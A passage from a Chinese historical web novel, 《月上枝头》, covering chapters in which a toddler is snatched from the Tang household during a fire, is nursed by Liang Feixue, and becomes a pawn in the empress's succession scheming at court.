自打到了京城,天气干燥,加上本身身子骨弱,还得在撑起精神和各个府邸的女眷打好交道,后面又出了女儿和离的事情。唐夫人的咳疾不仅没好反而加重了不少,几年下来,已然伤了肺。今年入冬以后,这咳疾就更严重了,有时咳得整晚都睡不好。纵使唐老爷一身医术,也没法根治,只能徐徐调养着。后来把家事也一并交给女儿打理,以免累着。但即便如此,今年入了冬,唐夫人还是明显消瘦了。 许是性格使然,母女俩都不喜欢过于富贵的打扮。即便是过节,唐夫人穿戴也很清秀。一件家常的烟灰色折枝绿萼梅花对襟褙子,只在袖口镶着细细一圈白色茸毛皮边。头上也是大方的圆髻,绾了支斜如意纹的深色蜜蜡簪子。只腕子各一对温润雅致的羊脂白玉绞丝套镯能够看出大家夫人的不俗身份,唯一美中不足的,是手腕过于纤细,手指上骨节显得根根分明了起来。 已经近晌午了,知道女儿正在替丈夫整理书房,唐夫人带着女使摆碗筷,正准备打发人去叫夕瑶母女吃饭。 这时,管事的卞妈妈跌跌撞撞跑进来,“夫人,不好了,不好了,大娘子和小娘子出事儿了。” 唐夫人一惊,平日里不离手的一百零八颗多宝手钏被失手拉断,七七八八的珠子掉的桌上地上都是。 顾不得手钏,唐夫人急急抓着卞妈妈的手问:“夕瑶怎么了?唐棠怎么了?你快给我说清楚啊!“ “书房,书房着了火,大小姐头上受了伤,晕过去了。” “什么?阿瑶伤得重吗?好端端的怎么会着火呢?” 这消息宛如晴天霹雳,唐夫人一时脚软,差点站不住。旁边的女使赶忙一左一右搀住她。 “唐棠呢?唐棠怎么了?” “小小姐,小小姐她叫梁国公府的千祥老爷抢走了…” 还没等卞妈妈说完,唐夫人一下瘫坐在地上,这下是真没力气了。 看到夫人这个模样,卞妈妈也后悔自己一时嘴快。夫人素来体弱,这要是一下子没经受住可不得了。 “夫人别急,樊嬷嬷已经亲自去追了,定是能将小娘子追回来的。” 看着这句话夫人没啥反应,卞妈妈继续说“那梁国公府就算是皇亲国戚,也得讲王法啊,等老爷回来了,定是要他们给个说法的。”一边说着,一边用眼神示意着后面的两个女使,一起把夫人扶到边上的美人榻上。 卞妈妈塞了一个蟹壳青色的织锦缎福字迎枕到夫 5. 梁府初见 《月上枝头》全本免费阅读 唐府乱做一团的时候,梁国公府也没好到哪里去。 梁飞雪换了身衣服重新梳妆完,眼瞅着到了中晌的时候。往日里都是和刘千祥一起吃饭的,但是今日觉得这一件件的事儿实在糟心,也懒得管他,于是让把饭摆在自己院里。 看着自家小娘子情绪不好,秦嬷嬷特意去吩咐了,今天中午让厨房上些小娘子爱吃的菜蔬。砂锅鱼羊三鲜羹,八宝葫芦鸭,桂花红糖糯米藕,虎皮椒盐擂蛋,松子芙蓉菠菜拌,还有自家秋天做的樱桃酿。这糯米藕和擂蛋不好克化,原是不能一起上,但今天为了哄小娘子开心便破一回例。回头让上些山楂饮子也就是了。 梁飞雪坐在雕刻着福禄寿喜的紫檀木圆杌子上,手里端着一小碗鱼羊三鲜羹正准备开动,外头有个婆子站在门口求拜见。她挑了一下眉毛,示意门上的女使让她进来。 那婆子生的黑峻峻的,手脚粗大,却穿一件玫红色镶二指宽灰黑绒布的暗纹坎肩,这明暗一对比,看起来略有点滑稽。 一进门,先跪下了。 一看这架势,秦嬷嬷就知道没好事儿。刚要开口让婆子去廊角候一候,等小姐吃完了晌午饭再禀,看飞雪已经把碗勺放下了,便没言语。 “禀小姐,老奴原在西边偏院当差,今儿上午千祥老爷带回个奶娃娃,招了奴婢去照看。那娃娃似有些不好,偏又找不到千祥老爷。奴婢怕误了事,所以急着来禀小姐,想讨个示下。不想打扰了主子进晌午饭,实在是该打,请小姐责罚。” “那孩子怎么个不好法?” “这娃娃来了以后先是哭闹挣扎,哭得上气不接下气的。奴婢给她喂水喂食都不吃。这会儿竟发起烧来,浑身火烫…” “走,领我去看看。”没等婆子说完,梁飞雪就站了起来。 “小姐,您还没吃晌午饭呢,要不先吃两口垫垫?” 这刘千祥尽干的什么破事儿,东一桩西一桩的,都要梁国公府来收拾。可是主仆尊卑不好僭越,所以再是腹诽,秦嬷嬷脸上也不好表现出来,只循循劝梁飞雪先用些饭食。 梁飞雪挥了挥手,“先去看看吧,不然我也没心思吃饭”,说罢便示意婆子带路,大步往前走。 秦嬤嬷留了个心眼,想着这事儿越少人知道越好,一个贴身女使都没带,只自己跟上了。 说是偏院,其实也就是个杂院,在梁国公府西北角的地方。这里原是梁国公二弟某个庶子的院子,后来二房分了府,这院子便空下来了,偶尔堆堆杂物,平日里鲜有人来,小厮仆妇们打扫得也不勤快。 刘千祥估计是想要避人耳目,就把孩子藏在了这里。 走进院子里,能看出这里被粗粗打扫过,大片的落叶已经扫成一堆,可能是太匆忙,还来不及用簸箕竹篓运走,小的碎叶子就顾不上了。走道的石板上,青苔已经很明显了,石板缝儿里的杂草枯黄地耷拉在地上。廊子上,门头上的灰层更是不必说,多少年的都还积着。 往屋子里走去,门口的帘子还是细篾卷帘,可见前主人搬走的时候是盛夏。如今,竹篾已经发黄发脆,再没有了当初的好颜色。一撩开,灰尘扑扑往下掉,梁飞雪和秦妈妈忍不住都用帕子捂住了口鼻。 再往里走两三步,扑面而来的就是一股子房舍年久没住人的霉味儿。 里屋东边的炕上铺着薄被,透过被子隐约能看到下面的凸起了一个孩子的形状。边上一个身着半旧衣裳的二等仆妇守着。见梁飞雪进来了,连忙跪下行礼。 梁飞雪忙着看孩子,顾不上搭理,只挥挥手让人下去了。 只见小唐棠一头一脑的汗,早上梳好的鬏鬏这会儿已经松散得不成样子,上面原本插着的珍珠和珊瑚卡子有些掉落在枕头上,有些也不知道掉哪里去了。孩子眼睛微睁着,嘴巴里在念叨着什么。 梁飞雪凑近看,状况确实不好。即便是睁着眼睛,瞳孔里也没有丝毫的神采,仿佛已经认不得人了,嘴里只喃喃念叨着“阿娘,阿娘”。这么小的孩子,受了惊又生着病,母亲还不在身边,想想的确是可怜。再一摸被子和炕头,梁飞雪的眉头皱得都能夹死苍蝇了。 这大冷的天,给孩子找了这么个破院子,地龙都没烧,整个炕冰凉冰凉的,又只给盖了这么薄薄的一床发霉的旧被子,也不知是那个犄角旮旯里找出来的,蟑螂老鼠爬过没有,能不生病么? 刘千祥这个杀才,对自己的亲骨肉都这么不上心!早上刚刚压下去的气恼这会儿腾地又从后背冒起来了。 梁飞雪二话不说解开了自己藕荷色洒金缂丝内里嵌灰鼠皮的披风,一把掀掉了霉气沉沉的薄被,用带着体温的披风把小唐棠连头带脚罩起来起来,抱着就往外走,边走边吩咐:“来人,去找万和堂的张大夫来,他最通小儿症。秦嬷嬷,你赶紧去我屋子里,吩咐人把地龙烧旺些。这孩子暂时就住在我那里,另外再准备些干净的小儿衣裳。” “小姐且慢,这要是请了大夫,回头传出去,整个上京都知道我们梁国公府抢了人家孩子了。要不,先找个懂医的婆子来看看?”秦嬷嬷跟在身后劝着,心里七上八下的。 梁飞雪脚步一顿:“嬷嬷糊涂!婆子哪有大夫的医术好。这孩子还这么小,又发着高烧,要真有个好歹可就送了命了。至于名声,这会儿也顾不得了,总是人命要紧。嬷嬷快去吩咐吧,切莫耽搁了。” “欸!”秦嬷嬷一跺脚,领着差事疾步去了。 刚要迈出屋子,天开始下雪了,鹅毛大的雪片子密密麻麻往下飘,帘子一掀开,雪片子夹杂着冷风就一股脑儿灌进来。 梁飞雪没了披风,只觉得冷风直直地往脖子里钻。 她原本是想等女使们回去拿伞的再带个厚衣裳的,可看着怀里发着烧的小人儿,牙齿一咬,用披风兜头兜脸地给唐棠塞塞好,一把裹紧了,迎着风雪便往屋外走。 这场大雪积得特别快,待走到自己的院子,地上的雪已经约莫半寸厚了。院子里的一等女使喜鹊一听见动静,急急打着伞来接,“小姐这是怎么了,怎么满身的雪?刚刚一下雪,杜鹃已经带着伞去接了,竟是和错过了吗?” 梁飞雪累得很,并不想说话。这孩子抱上手一开始不觉得很沉,可一路走回来也让她气喘吁吁。于是只点了点头,进屋了。 刚刚秦嬷嬷已经来传过话了,这会儿屋里烧得暖融融的。梁飞雪头上的雪花和灌进领子里的雪融成水,沿着后脑流进里衣。喜鹊一看,赶紧拿着帕子来擦头发,又吩咐鹦鹉打水来给娘子洗澡更衣。 梁飞雪把孩子递给喜鹊,接过帕子,“我自己来。鹦鹉打水来也好,给这个孩子擦洗一下,她一直在发烧,估计这会儿贴身的衫子都湿透了。另外,干净的小儿衣裳找来了吗?给这孩子换上。要是衣裳还没来,就先放被窝里,被窝用汤婆子烘热先。你们动作快着点儿,别给她冻着。” 女使们给唐棠擦身换衣服的工夫,梁飞雪用干帕子给自己抿干了头发。雪下得大,身上的衣裳连中衣都湿透了。梁飞雪进盥室换身干衣服,这会儿也来不及讲究了,随手拿了件浅栗色的袄子,草草梳了个髻,也顾不得搭配首饰,胡乱斜插上一根琥珀的梅花簪子算数。 刚出了内室,秦嬷嬷迎着张大夫进来了。 这张大夫是个识趣的人,多年上门看小儿症让他对各家的那点事儿心里多少都有数。满京城都知道梁家的赘婿生不出孩子,这会儿屋里的炕上躺着一个一岁多点大的女娃娃,他压下自己的好奇心,只专心看诊。 诊了脉,翻看了眼皮和舌苔,张大夫拿出金针施了几个地方,然后起来回话:“梁娘子,从脉象看,这孩子是寒热之症,也就是受寒,外邪入侵,引起脏腑气机紊乱,阴阳失调,加上受了惊吓,如今已经出现了神昏谵语。这寒热之症虽说是常见病症,但是也不可小觑。现在看,这娃娃已经通体火烫,要是继续这么热下去,怕是会抽搐惊厥。孩子年岁小,经不起,万一不慎,那可就…”张大夫的话没说完,但是梁飞雪听得挺明白了。 “有劳张大夫给开个方子吧,要用些什么人参当归的,您不必顾虑,我直接让人拿着牌子去内库里取来就是。” “不敢当不敢当,老朽这就开个清热利湿的汤剂。您嘱咐家里人三碗水煎成两碗即可。孩子还小,用药不可太猛,所以还是以多进,每剂温和为主。您说的这些珍贵药材,这会儿也用不上,需知虚不受补越补越虚啊。另外,服了药以后,孩子会大量发汗,”张大夫看了一眼炕上的小人儿斟酌到,“可能,还会有尿床的情况,都属正常。一定要勤换衣裳和被褥,不能捂着,不然湿气入体,更是好不了了。” “好,我都记下了。这孩子的日常饮食还有要注意的吗?” “这两日饮食清淡些,另外这屋子里不可用熏香以免冲了药性。虽说天冷,孩子保暖重要,但门窗也不可捂得太严实了,隔一段时间略通一通风的好。”张大夫说罢,坐在围椅上准备开方子,一旁的鹦鹉忙上前伺候笔墨。 一会儿工夫,方子开好了。吹了吹纸上的墨迹,张大夫递给梁飞雪,似乎想说什么,却又没有开口,眼神颇有些犹豫。 “张大夫有话但说无妨。” “老朽冒昧了,”张大夫拱了拱手,觉得还是得替这小娃娃说两句“孩子太小,又生着病,实在是受不得惊了。”说完又拱了拱手,没等人家反应过来,背上他的医箱,逃难似的走了。 这还有啥不明白的?大夫这是点你呢,别再吓着孩子了。 梁飞雪无奈的笑了笑,嘱咐秦嬷嬷送送张大夫,大雪天的,给双份的出诊金,再让外院的小厮套车送张大夫回去。话刚说完,回头一看,张大夫已经走得没影子了,就剩下院里雪地 6. 上京风雪 《月上枝头》全本免费阅读 樊嬷嬷给人的第一印象就很和气。微胖,一张白净的脸,眼角略略有几道皱纹,并不显老。头发整整齐齐在脑后绾成一个圆髻,只用一根斜寿纹的青玉扁方插着。说起来这根青玉扁方还是唐夫人过年前赏的。 樊嬷嬷今年过了年刚好五十,在家里也是做祖母的人了,但因为放心不下夕瑶和唐棠,所以即便儿子来求了好几回让她回老家享享清福她也没走,一直留在唐府。今年过年前,儿子又来了,想她回去做个寿,这次把儿媳妇和小孙子都带来了。那小孙子名叫虎子,长得也虎头虎脑的,一双小拳头伸出来肉乎乎的,十分招人疼。樊嬷嬷抱了又抱,亲了又亲,可是临了,还是不愿意回去。樊嬷嬷的儿子儿媳无奈,只能在院子门口给她磕了三个响头。唐夫人得知此事,十分感动,着人在偏厅里给樊嬷嬷摆了一桌寿酒,带着夕瑶亲自给樊嬷嬷敬了三杯。这根扁方就是给樊嬷嬷的寿礼。 可能是因为略胖的缘故,加上走得急,即便是在大雪天穿过廊子吹着冷风走了好些路,樊嬷嬷这会儿额头上也是汗津津的。她拿出帕子略略擦了擦,在帘子外头站定,等着通禀。 进了屋子,樊嬷嬷见屋里还有旁人,没着急说话,只站在边上,顺带悄悄瞄了一下梁飞雪。 梁飞雪这边也略略打量了一下来人,气氛随着喜鹊退出屋子马上安静了一下来,一时有些尴尬。 还是梁飞雪打破的僵局:“这位是唐府的樊嬷嬷吧,今儿真是过意不去,害你遭罪了。” 樊嬷嬷上前一步,行了个礼,“请梁娘子安。不知我家小小姐如今在何处?”没心思寒暄,樊嬷嬷直奔主题,想快些看到唐棠。 正说着,梁府的秦嬷嬷也匆匆来了,一进门,绕过椅子站到梁飞雪后头,生怕自家的娘子吃了亏。 “嬷嬷跟我来吧。”梁飞雪说着,引着樊嬷嬷进了内室。 “孩子有些不好,受了惊,路上可能也着了凉,有些发热。已经请万和堂的张大夫来看过了。这会儿服了药,睡着了。” 樊嬷嬷一听孩子病了,正要上火,可随着梁飞雪撩起床帘,火又慢慢下去了。 唐棠正在厚厚的丝绵被里睡得香甜。 从这内室的布置上看,紫檀木雕花的床梁,百子戏婴刺绣的帐子,床上金丝绣着龙凤呈祥的被面,再加上一进屋整个屋子里暖融融的,这应该是梁娘子自己的屋子,床也是她自己睡的床。 “外头刮风下雪的,孩子病着不好挪动,所以我想让嬷嬷这两天先留在这里照顾。大夫说,不可叫孩子再受惊吓了,嬷嬷想是一直照顾这孩子的,肯定比我们妥帖。” 梁飞雪看着樊嬷嬷没搭话,叹了一口气,继续说,“刘千祥来唐府的事儿,实非我的本意,更不想还连累这孩子生病了。” 想了想,回过头介绍:“喜鹊是我的贴身女使,这两天留在这屋子伺候,嬷嬷有什么需要的就和她说”,说着指了指一个身形高挑穿着青绿色衣裳的姑娘。喜鹊赶忙上前行了个福礼。 梁飞雪又回头吩咐秦嬷嬷:“这几日孩子和唐府的樊嬷嬷就住在这院子里,你回头让人把东面的厢房再仔细收拾一下,一应用品捡好的来,不够就去库里取。还有,地龙烧旺些,仔细别把孩子冻着了。” 摆在咱们院子里?秦嬷嬷没张口,眼神却充满了疑问。 这可是自家小姐的院子,住进来个外人算个什么事儿?梁府院子多了去了,干嘛非安排住在这里? “嬷嬷,去吧。”梁飞雪拉了拉秦嬷嬷的袖子,颇有点小时候撒娇的意味。秦嬷嬷顺着她的眼光看过去,只看到小唐棠睡得香甜,一撮乌黑的头发露在枕头外面。想了想,终究没说什么,出门吩咐女使办去了。 樊嬷嬷本身有一肚子气,准备一进来就臭骂一顿。可现在气却变成了满肚子的疑问:外界都说梁国公府的二小姐嚣张跋扈,可从她的言行举止看却又不像,莫非这里面有什么玄机? 安排妥当了小娃娃的住处,又趁着雪停把孩子和唐府的樊嬷嬷都挪了过去,梁飞雪靠在东稍间的美人榻上,膝上搭着宝葫芦图案蜀锦面子的薄被,手里有一搭没一搭地翻着一本话本子。 透过边上的支摘窗,外头风也小了,天色略略有点暗下来。 她原本想着等父亲从宫里赴宴回来,好和他商量一下后面怎么安排,是过两天直接把这个娃娃还回去吗?还是找个什么由头?可左等右等,没等来父亲,却等来了唐府着火,唐家母女性命垂危的消息。 “杜鹃,你去叫人把刘千祥找来,我得问问他到底是怎么回事儿。” “小姐,秦嬷嬷一早就吩咐了要找千祥老爷。但是听门上的人回报,千祥老爷回来放下了娃娃就出去了。” “去哪儿了?” “不清楚,说是不让人跟着。”杜鹃无奈答道,心里也很替自己小姐着急。 这会儿,比杜鹃更着急的,肯定是唐家内院的管家婆子卞妈妈了。 家里接二连三出事儿,夫人和小姐至今都没醒来,老爷的书房又烧个稀巴烂,卞妈妈这心,如同在火上烤着一般。 前脚送走了万大夫,后脚她就急急打发小厮套了马车去宫门外候着,要是老爷下了宴,就赶紧接回来。 眼瞅着酉时快过了,老爷还没回来,卞妈妈在正屋门口的廊子上来来回回走着,饶是下雪天冷,头顶都感觉要冒热气了。 “妈妈,歇歇吧,已经打发人在门口等着了,要是老爷回来了,会第一时间来传话的。”女使银翘在旁边劝着。 “我哪里歇得下来啊。家里出了这么大的事儿,这会儿老爷没回来,连个拿主意的人都没有。”卞妈妈说着说着,眼睛又红起来,“今天老爷出门的时候还家里还好好的,夫人还吩咐,说晚上院子里吃个羊肉火锅热闹热闹呢,可现在…现在…回头老爷回来了,叫我怎么交待啊…”卞妈妈这一说,银翘也跟着又哭起来。 看着夫人和姑娘就这样躺在床上,大家伙儿心里都不好受。 “都别哭了,”紫草听着哭声从里屋走出来,“这会儿老爷不在,夫人和姑娘又这样了,家里就得是我们撑起来。卞妈妈,您是这内院最有威信的妈妈了,大伙儿可都看着您呢。依我说,与其这样傻等着老爷,不如咱们几个合计合计,看看今天这事儿有什么蹊跷没有?。” “什么蹊跷?”银翘回头望紫草,今日哭了好几回,一双眼睛都肿得像桃儿了。 话音刚落,卞妈妈一把拉住银翘的手。毕竟是办事半老了的妈妈,紫草这一说,她就想到了。 于是也顾不得冷了,拉着紫草和银翘沿着廊子,走到正屋后头花园的凉亭里。这凉亭建在鱼池子上,四周都邻水,要过去只有通过来时走的廊子,别无他路。加上大冷天的,绝不会有人误闯。 三个人索性也不点灯,就站在黑处讨论。 银翘一开始不明白,但是被卞妈妈拉了一路,冷风一吹,这会儿也明白过来了。“紫草姐姐,你是说,今天这事儿,是计划好的?” “我没有凭证,不好随便乱说。但今日这事儿,我总觉得透着不寻常。千祥老爷来抢小小姐,是不是太顺利了些?”透着湖面水光的反射,紫草的眼睛闪着冷静的光。 她仔细回想着白天发生的事情,“那千祥老爷进门的时候是我奉茶的,然后大家就都退出院子了,不晓得里面发生了什么。但是我问过门上,也就是一炷香多点的时间,千祥老爷就出来了,出来的时候披着大氅,大氅下面罩着的,估计就是小小姐。” “等一下,你说千祥老爷披着大氅?”这样一说,银翘也有印象了,“我记得我退出去的时候他刚进门,我和他打了个照面,他身上穿的是绯色小科绫罗,哪里来的大氅?” “大氅不会有错,我和门上反复问过,是一件灰黑色的。而且没有大氅,他如何能不被人发现带走孩子呢?” “咱们府里有内鬼!”卞妈妈压低了声音,但是很肯定的说。 “二门!”这下,三个人都想到了。 “今日上值的是福顺家的,这死老婆子,居然敢吃里扒外”银翘年纪小些,人也冲动,说着就要去理论。 “别冲动!”紫草一把抱住银翘,顺带捂住她的嘴巴。 “我的小祖宗,小点声,你想闹得整个院子都听见啊。就这么傻兮兮跑过去,福顺家的要是不承认呢?咱们又没什么凭据。” 连翘还想反驳,卞妈妈按住她的肩膀,“紫草说得对,这事儿不能急。”看连翘一脸不服气,继续问:“那福顺家的,平时不在外面办差,住也是住在内院后罩的房子里,刘千祥是怎么认识她的?又怎么这么巧,刚刚好今天就是在福顺家的值上?那大氅可不是一般人家的东西,这么大一件,多扎眼,要藏起来不被注意可不容易,是谁给她递进来的?” 一连几个问题问下来,连翘就懵了,“那依妈妈的意思,这里面可能还有别人?” “是很有可能,所以咱们不能张扬,得悄没声儿地去查。老爷是在外办差的大男人,内宅里的门道可没咱们清楚。这事儿,看来只能我们自己来。”卞妈妈突然想到了什么,叹了口气,“哎,这时候,要是樊嬷嬷在就好了。” “是啊,也不知道樊嬷嬷在梁府里怎么样了。”一说起樊嬷嬷,大家都安静了下来。 一会儿,三人继续低语,分工说好了各自要去查的事儿。 “老爷回来了!”门上来传话。天爷啊,可算回来了。就这一声儿,大伙儿的心就定下来了。 唐老爷今天这一天的心情,简直如同冰火两重天。 今年的正月十五是太医局三年一度考核的日子,考核内容从医学原理到草药识别都有。 本届一共有12个太医局局生参与考试,其中考评为上等的有9人 7. 雪停了,风还在刮 《月上枝头》全本免费阅读 自己的书房被烧毁了,多少年攒下的医书经方怕是都化作了灰烬。要是换做往日他早就心疼得和什么似的了,可这回儿唐老爷也顾不上,先办正事要紧。 是夜,房中的白釉莲花灯整夜未灭,第二天天刚亮,一封请求致仕的奏折从唐府送出,快马送入宫中。 待唐老爷走出房门的时候,院子里的婆子女使都吓了一跳,才一夜未见,老爷的鬓角透出丝丝花白,原来人家说的一夜白头竟是真的。 同样是入宫赴宴,梁国公的待遇可就好多了。刚刚下了宴席,就有宫女来传皇后娘娘的口谕,说是夜里风大,留国公在宫内歇息。而刘千祥和唐家的事儿也第一时间传入了宫中。 “娘娘,您的意思,这孩子我们不能还给唐家?”梁国公已经年近六十,但是因为平日里只领个闲差并不操劳加上颇注重保养(一直没死心,想生儿子),在华服之下看起来并不显老。 他初听到消息的时候颇为生气,刘千祥也不和家里人商量,这样跑到人家唐府抢孩子,不是摆明了结仇么,明日里上朝,他梁国公府又不知道要被骂成什么样了。于是气鼓鼓的来大女儿宫里讨主意。 而皇后娘娘看似说了句不相关的话,却让他不由得深思:“如今皇子们都大了,大皇子13岁,本宫的二皇子也已经9岁了。” 梁国公赶到仁明殿的时候,皇后也刚刚下宴回到宫中。一袭深青色的礼衣,头上的凤冠和博鬓都还未除下。今天的事儿,虽不是她安排的,但是正合她的心意,于是心情很好地和梁国公道:“爹爹晚上的宴席未吃饱吧,那些菜蔬冷了油腻腻的,看着就没胃口,我让人上些清爽的汤水点心,爹爹再用些。刚好,等我去里面换身常服,我们父女俩好好说说话。” 过了约一盏茶的光景,皇后娘娘换了常服,重新梳了妆,从内屋出来。 要说皇后的容貌是真的没得挑,即便是卸掉了隆重的妆容与华服,一件大红色洒金的大袖衫搭配牡丹海棠暗纹的霞帔,一个简单的朝天髻,只用两支凤头钗做点缀,竟也让人移不开眼睛。明明已近不惑之年了,脸上一丝斑纹都没有,一头华发蓬松乌黑,就连一双手,伸出来也如同少女般柔软白皙。如果硬要鸡蛋里挑骨头,那也只有某些时候眼里透出的疲惫能够暴露她的年龄。可今夜她心情很好,所以连眼里都是神采奕奕。 “宝瓶,上一盏荔枝凤茶来。” 不一会儿,一个穿浅粉色宫衣的宫女用漆盘托着一个海棠花盏上来,轻轻放在梁国公身旁的几子上。 “爹爹您尝尝,这是南边刚送上来的。说是用新鲜的荔枝蒸熟,和凤茶一起酵,然后放在地窖里等上180天才得了呢。我喝着不错,一股子荔枝的清香,爹爹用用看。” 梁国公着急想听立储的事儿,心思全不在茶上,端着茶盏胡乱喝了一口,也喝不出什么味道,随口敷衍道:“嗯,喝着甚好。” 梁飞燕知道自己爹爹的心思,被敷衍了也不恼,慢慢悠悠开口:“那刘千祥啊,我素来是看不上他,可今日他这番行事,倒是帮了我个大忙….” “皇后娘娘”梁国公一看要讲到正题了,连忙打断,用眼神示意这会儿还有宫人在场。 “无妨,他们都是跟了我多年的,信得过。”皇后虽嘴里这么说着,到底还是挥挥手,打发人都下去了。 “如今,皇子们都大了,但是官家对于立储一事迟迟没有说法,我想前头朝堂之上也势必多有讨论,爹爹怎么看啊?”梁飞燕闲闲靠在牡丹花刺绣的迎枕上,手上随意把弄着茶盏。 “咱们二皇子是中宫嫡出,又天资聪颖,自然是民心所向啊。” “爹爹,你就别用糊弄官家那套来糊弄我了。”梁飞燕放下茶盏,直直看着梁国公:“二皇子是嫡子不假,但前头还有个大皇子啊。自古立嫡立长都是有说法的,如今朝堂之上争论最多的也是这个吧。” “娘娘慧眼,这不是皇子们还小,官家恐怕还得在多观察考虑吧。” “观察考虑?这不就是在给大皇子攒功劳么。年前,他已经领了差使,在礼部行走了。” 虽说礼部的差使算不得多大,顶多是个闲差,也不是什么官职,但是这就是个明显的信号啊,官家要磨练大皇子了。下面这帮人,干别的不一定行,揣摩圣意可都是一等一的好手。这会儿看大皇子到礼部了,还不得像苍蝇遇到了臭肉一样扑上去啊。至于功劳,管他是谁的呢,反正回头都记在大皇子身上了。 “娘娘莫急,二皇子这不是小几岁么,回头等大一点,领了差使,自然也有功劳。”梁国公看大女儿脸上有点怒意了,连忙劝劝。 “不急?爹爹叫我如何不急啊?二皇子差4岁呢,等四年后能领差事了,大皇子早就兵部礼部户部都混熟了,到时候更没咱们什么事儿了。所以啊,这事儿不能拖,得快刀斩乱麻!” “所以,前几□□上几位老臣提议官家立嫡子是娘娘的意思?那怎么…” “怎么没和爹爹说?满朝堂谁人不知梁国公府是我的娘家,要是这事儿是梁国公府提议的,那无论夸二皇子什么都是没人听的了。是以,我不仅没和爹爹说,连堂兄这里也没有说起。朝堂上提议的,都是我私下里交好的大人们。” 说起这个,梁飞燕就有点来气,这些年唐明德在朝堂之上虽然没有结党,但是支持他的年轻官员不少,加上他在太医局任教,里面的局生都算是他的门生。从京城到地方,已经有了一股不可小视的势力。而这老滑头,朝堂上几次说起立储之事,他都打马虎眼说官家正值春秋鼎盛之年,不必着急立储。明着看是中立,实则这个“不着急”就是给了大皇子莫大的助益。大皇子如今已经领了差事,回头功劳自可以慢慢攒,而二皇子还小,过上几年,这两个皇子的差距不就显现出来了么。 年前她有意笼络唐家,招了唐明德来诊平安脉,旁敲侧击探听他对立储的看法,还委婉地承诺,若是唐家能够支持二皇子,各种赏赐自不必说,她还愿意出面认唐夕瑶为义妹,如果想要再嫁,京城里的显赫府邸随她挑,宫中也会出一份厚厚的嫁妆,定叫她风风光光地嫁出去。结果那倔老头子说“儿女姻缘不能强求。若是有缘,不必劳烦娘娘的懿旨;若是无缘,便是在一起了也不长久。” “呵,这老匹夫,分明是在讽刺我们梁府抢了 8. 是去是留 《月上枝头》全本免费阅读 唐老爷的这封请求致仕的奏折在开年的朝堂上引起了轩然大波。 唐公前一晚宫宴明明还好好的,还受到了官家嘉奖,为何当夜就要带着家人告老还乡了?上元节街上人来人往,唐家的马车追着刘千祥满城跑,以及在梁国公府樊妈妈叫骂的这一出可是大家都看到了。这四下里一对,似乎原因就很明显了。 不少言官们平日里就看不惯梁国公府的做派,这下子更是被激起了群愤。刚好过完了年,大家都有的是力气,于是朝堂上,弹劾梁国公府的奏折如同雪花一样,饶是梁国公素来脸皮厚,这会儿也有些吃不消。 左谏议大夫张实立是个中年愣头青,早就看梁国公府不爽了,当年唐刘两家和离,就数他骂得最凶,于是上来就开炮:“启奏陛下,唐刘两家当年和离之时曾经签下字据,所出嫡女算作唐家女,至此两家男婚女嫁各不相干。此事在京城几乎人人知晓。可昨日里,刘千祥居然在唐家强抢了孩子。天子脚下如此胆大妄为,分明是不把陛下放在眼里….”看来两年过去了,张实立也不算全无长进,至少学会把官家这面大旗先扛出来。 “左谏议大夫此言差矣”,梁家和皇后这些年在朝堂之上也颇有实力,这会儿听到弹劾,梁家人连一个眼神都不用,步军都指挥使王大力就出来打着哈哈:“虽说两家人和离了,孩子也算是唐家女。可好歹刘千祥也是亲爹啊。这大过年的,亲爹见见亲闺女不也是人之常情么。” “即使是要见亲闺女,大大方方就是了,何必要强抢呢?”中侍大夫继续质疑。 “可能就是唐家不给见呗。自古清官难断家务事,这事儿谁知道啊。”团练使继续打着太极。 “既是要见孩子,为何要在唐家放火呢?昨日唐家冒出的黑烟可是半个京城都看见了。” “王侍郎您没看到可不能瞎说啊。唐家昨日为何着火可谁都不知道,说不定就是天干物燥不小心走水的呢?” “刘千祥前脚抢了孩子,后脚唐家就着火,怎么回事儿脚趾头想想就知道。梁国公府行事也太跋扈了。” “这事儿从头到尾都没人看到,怎么就一个屎盆子扣在了梁国公府身上?” “你就是梁国公府的走狗…” “你才是狗,你就是嫉妒人家...” 刚开始朝臣们还能好好辩驳,只一会儿工夫,便吵作一团。到后来更是连谁吵的都分辨不清了,只听见东头一句西头一句,时不时还有些粗口。好好的一个开年朝堂,硬生生吵出了菜市场的氛围。 官家坐在上首的宝座上,面无表情地看着下面群臣的争辩。昨日里刘千祥入唐府抢孩子之事,他自有耳目;而梁国公晚上和皇后的深聊,他也有所闻。此事就算一开始和立储无关,走到这一步,却是绕不过去了。只可惜了唐公,几十年为国为民鞠躬尽瘁,家里只有一妻一女,临了,却还是折进去了。说起来是自己对不住唐公。 朝堂上有关立储之事已经吵了一年多了,立长立嫡都各有支持者。可是官家始终下不了决定。一来现在皇子们都还小,心性未定,储君是未来的国主,立储之事得慎之又慎,稍有差池,便上对不起祖宗下对不起百姓;二来梁国公府近年来的势力让人忌惮。梁国公自己虽然只有爵位没什么实权,但是二房的梁飞豹梁飞虎两兄弟,一个任着五城兵马司副指挥使,一个管着上护军。两兄弟在京城附近的军队中都有着不低的声望。如果立二皇子为储,外戚容易做大。更不用说,这两兄弟以及手下的弟兄,在京城一贯跋扈,百姓和地方官员怨声载道。 官家想再等等,可是中宫坐不住了,皇后这一年多动作不断,她私下里频频召见朝臣命妇,更是借着赐婚等手段拉拢亲信,朝堂上的文臣武将不少已经暗地里答应支持二皇子。这次刘千祥抢孩子,无论背后是不是有皇后支持,到了现在,怕是皇后也不会轻易放过。 今早收到唐公的致仕折子,官家心里五味杂陈。奏折里唐公一字未提梁家,甚至没提那个被抢走的孩子,只说家人抱病,求圣上允许他辞去太医院和太医局之职,带家人回老家养病。唐公真的是太明白自己的难处了,这一本奏折,几乎等于明着告诉皇后和梁家,希望看在他致仕的份上,能够归还那个孩子。 一想到这里,官家心头不免觉得悲凉。堂堂天子,竟然被逼到了这个份上。 隔了三日,官家下旨,唐明德致仕奏折留中,如今天寒地冻,举家回乡有所不便,令他家人暂且在京中养病。唐明德每旬上值之日减半,安心在家照顾妻小,同时赏赐名贵药材若干。 同一日,后宫的小黄门传来皇后娘娘的懿旨,说唐家嫡女唐夕瑶温婉贤淑,秀外慧中,深得皇后娘娘喜爱,故收为义妹,特赐瑶琳县主。又因天干物燥唐家走水,导致家中女眷都伤病在床,幼女无人照看,特命孩子生父刘千祥代为照看。 可怜夕瑶虽然已经过了危险期,但是整个人还是迷迷糊糊的,被女使婆子们硬生生扶起来梳妆打扮,摆了香案跪下接旨,收了一堆赏赐以后,又迷迷糊糊被送回床上。等她完全清醒,已经是好几天之后了。 